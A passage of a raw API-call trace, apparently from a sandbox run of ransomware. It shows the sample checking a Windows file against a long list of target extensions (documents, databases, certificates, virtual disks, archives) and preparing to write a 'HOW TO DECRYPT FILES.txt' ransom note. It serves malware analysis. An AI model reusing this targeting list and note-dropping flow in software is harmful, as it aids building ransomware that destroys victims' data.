(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ofx") returned 0 [0100.746] lstrlenA (lpString="*.ofx") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qif") returned 0 [0100.746] lstrlenA (lpString="*.qif") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mye") returned 0 [0100.746] lstrlenA (lpString="*.mye") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mbox") returned 0 [0100.746] lstrlenA (lpString="*.mbox") returned 6 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.eml") returned 0 [0100.746] lstrlenA (lpString="*.eml") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.pst") returned 0 [0100.746] lstrlenA (lpString="*.pst") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ost") returned 0 [0100.746] lstrlenA (lpString="*.ost") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.idx") returned 0 [0100.747] lstrlenA (lpString="*.idx") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.dbx") returned 0 [0100.747] lstrlenA (lpString="*.dbx") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.sql") returned 0 [0100.747] lstrlenA (lpString="*.sql") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mdb") returned 0 [0100.747] lstrlenA (lpString="*.mdb") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.fdb") returned 0 [0100.747] lstrlenA (lpString="*.fdb") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.wab") returned 0 [0100.747] lstrlenA (lpString="*.wab") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.dat") returned 0 [0100.747] lstrlenA (lpString="*.dat") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.txt") returned 0 [0100.747] lstrlenA (lpString="*.txt") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.jpeg") returned 0 [0100.747] lstrlenA (lpString="*.jpeg") returned 6 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.jpg") returned 0 [0100.747] lstrlenA (lpString="*.jpg") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.png") returned 0 [0100.747] lstrlenA (lpString="*.png") returned 5 [0100.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.php") returned 0 [0100.748] lstrlenA (lpString="*.php") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.cs") returned 0 [0100.748] lstrlenA (lpString="*.cs") returned 4 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.cpp") returned 0 [0100.748] lstrlenA (lpString="*.cpp") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.rar") returned 0 [0100.748] lstrlenA (lpString="*.rar") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.zip") returned 0 [0100.748] lstrlenA (lpString="*.zip") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.html") returned 0 [0100.748] lstrlenA (lpString="*.html") returned 6 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.htm") returned 0 [0100.748] lstrlenA (lpString="*.htm") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.xlsx") returned 0 [0100.748] lstrlenA (lpString="*.xlsx") returned 6 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.xls") returned 0 [0100.748] lstrlenA (lpString="*.xls") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mp4") returned 0 [0100.748] lstrlenA (lpString="*.mp4") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ppt") returned 0 [0100.748] lstrlenA (lpString="*.ppt") returned 5 [0100.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.pptx") returned 0 [0100.748] lstrlenA (lpString="*.pptx") returned 6 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.doc") returned 0 [0100.749] lstrlenA (lpString="*.doc") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.dot") returned 0 [0100.749] lstrlenA (lpString="*.dot") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.docx") returned 0 [0100.749] lstrlenA (lpString="*.docx") returned 6 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.7z") returned 0 [0100.749] lstrlenA (lpString="*.7z") returned 4 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.tar") returned 0 [0100.749] lstrlenA (lpString="*.tar") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.bz2") returned 0 [0100.749] lstrlenA (lpString="*.bz2") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.gz") returned 0 [0100.749] lstrlenA (lpString="*.gz") returned 4 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mkv") returned 0 [0100.749] lstrlenA (lpString="*.mkv") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.eml") returned 0 [0100.749] lstrlenA (lpString="*.eml") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.msg") returned 0 [0100.749] lstrlenA (lpString="*.msg") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.edb") returned 0 [0100.749] lstrlenA (lpString="*.edb") returned 5 [0100.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.accdb") returned 0 [0100.750] lstrlenA (lpString="*.accdb") returned 7 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.odb") returned 0 [0100.750] lstrlenA (lpString="*.odb") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.java") returned 0 [0100.750] lstrlenA (lpString="*.java") returned 6 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.asm") returned 0 [0100.750] lstrlenA (lpString="*.asm") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.pfx") returned 0 [0100.750] lstrlenA (lpString="*.pfx") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.pem") returned 0 [0100.750] lstrlenA (lpString="*.pem") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.p12") returned 0 [0100.750] lstrlenA (lpString="*.p12") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.gpg") returned 0 [0100.750] lstrlenA (lpString="*.gpg") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.vsd") returned 0 [0100.750] lstrlenA (lpString="*.vsd") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.odg") returned 0 [0100.750] lstrlenA (lpString="*.odg") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.raw") returned 0 [0100.750] lstrlenA (lpString="*.raw") returned 5 [0100.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.nef") returned 0 [0100.750] lstrlenA (lpString="*.nef") returned 5 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.svg") returned 0 [0100.751] lstrlenA (lpString="*.svg") returned 5 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.psd") returned 0 [0100.751] lstrlenA (lpString="*.psd") returned 5 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.vmx") returned 0 [0100.751] lstrlenA (lpString="*.vmx") returned 5 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.vmdk") returned 0 [0100.751] lstrlenA (lpString="*.vmdk") returned 6 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.vdi") returned 0 [0100.751] lstrlenA (lpString="*.vdi") returned 5 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.lay6") returned 0 [0100.751] lstrlenA (lpString="*.lay6") returned 6 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mpeg") returned 0 [0100.751] lstrlenA (lpString="*.mpeg") returned 6 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.djvu") returned 0 [0100.751] lstrlenA (lpString="*.djvu") returned 6 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.tiff") returned 0 [0100.751] lstrlenA (lpString="*.tiff") returned 6 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.backup") returned 0 [0100.751] lstrlenA (lpString="*.backup") returned 8 [0100.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.pdf") returned 0 [0100.751] lstrlenA (lpString="*.pdf") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.cert") returned 0 [0100.752] lstrlenA (lpString="*.cert") returned 6 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.docm") returned 0 [0100.752] lstrlenA (lpString="*.docm") returned 6 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.xlsm") returned 0 [0100.752] lstrlenA (lpString="*.xlsm") returned 6 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.dwg") returned 0 [0100.752] lstrlenA (lpString="*.dwg") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.nd") returned 0 [0100.752] lstrlenA (lpString="*.nd") returned 4 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.tlg") returned 0 [0100.752] lstrlenA (lpString="*.tlg") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.lgb") returned 0 [0100.752] lstrlenA (lpString="*.lgb") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mov") returned 0 [0100.752] lstrlenA (lpString="*.mov") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.xdw") returned 0 [0100.752] lstrlenA (lpString="*.xdw") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ods") returned 0 [0100.752] lstrlenA (lpString="*.ods") returned 5 [0100.752] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.wav") returned 0 [0100.753] lstrlenA (lpString="*.wav") returned 5 [0100.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.mp3") returned 0 [0100.753] lstrlenA (lpString="*.mp3") returned 5 [0100.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.aiff") returned 0 [0100.753] lstrlenA (lpString="*.aiff") returned 6 [0100.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.flac") returned 0 [0100.753] lstrlenA (lpString="*.flac") returned 6 [0100.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.m4a") returned 0 [0100.753] lstrlenA (lpString="*.m4a") returned 5 [0100.753] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.csv") returned 0 [0100.753] lstrlenA (lpString="*.csv") returned 5 [0100.753] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a91a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a91a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Graph.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.753] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.754] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0100.754] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0100.754] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0100.754] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config") returned="Policy.11.0.Microsoft.Office.Interop.Graph.config" [0100.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" [0100.754] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.754] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.754] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.754] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll") 